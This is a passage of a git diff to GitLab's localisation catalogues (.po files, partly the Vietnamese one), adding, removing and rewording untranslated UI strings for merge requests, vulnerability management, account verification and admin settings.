+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/vi_VN/gitlab.po b/locale/vi_VN/gitlab.po
index 0c6c7c722eb..7f2bda8478a 100644
--- a/locale/vi_VN/gitlab.po
+++ b/locale/vi_VN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: vi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:38\n"
+"PO-Revision-Date: 2021-12-06 18:55\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -207,6 +204,10 @@ msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -247,6 +248,10 @@ msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -299,6 +304,10 @@ msgid "%d shard selected"
msgid_plural "%d shards selected"
msgstr[0] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -342,6 +351,12 @@ msgstr[0] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -413,6 +428,10 @@ msgstr[0] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -632,7 +651,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -686,6 +705,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -717,9 +739,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -744,6 +763,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -775,6 +797,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -819,9 +844,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -913,6 +935,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1043,6 +1068,10 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+
msgid "(this user)"
msgstr ""
@@ -1052,6 +1081,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1089,6 +1121,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1369,9 +1404,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1408,9 +1440,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1459,9 +1488,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1597,9 +1623,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1846,12 +1869,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -1894,6 +1923,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1936,9 +1971,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2008,6 +2040,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2053,9 +2088,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2098,7 +2130,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2107,7 +2139,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2203,6 +2235,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2269,7 +2304,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2806,19 +2841,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3409,9 +3453,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3439,6 +3480,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3598,6 +3642,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3779,6 +3826,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3818,6 +3868,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3860,9 +3913,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3875,9 +3925,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -3933,6 +3980,9 @@ msgid "ApplicationSettings|Approve %d user"
msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -3940,6 +3990,9 @@ msgid "ApplicationSettings|By making this change, you will automatically approve
msgid_plural "ApplicationSettings|By making this change, you will automatically approve %d users with the pending approval status."
msgstr[0] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4347,6 +4400,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4549,6 +4605,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4644,6 +4703,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5292,6 +5354,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
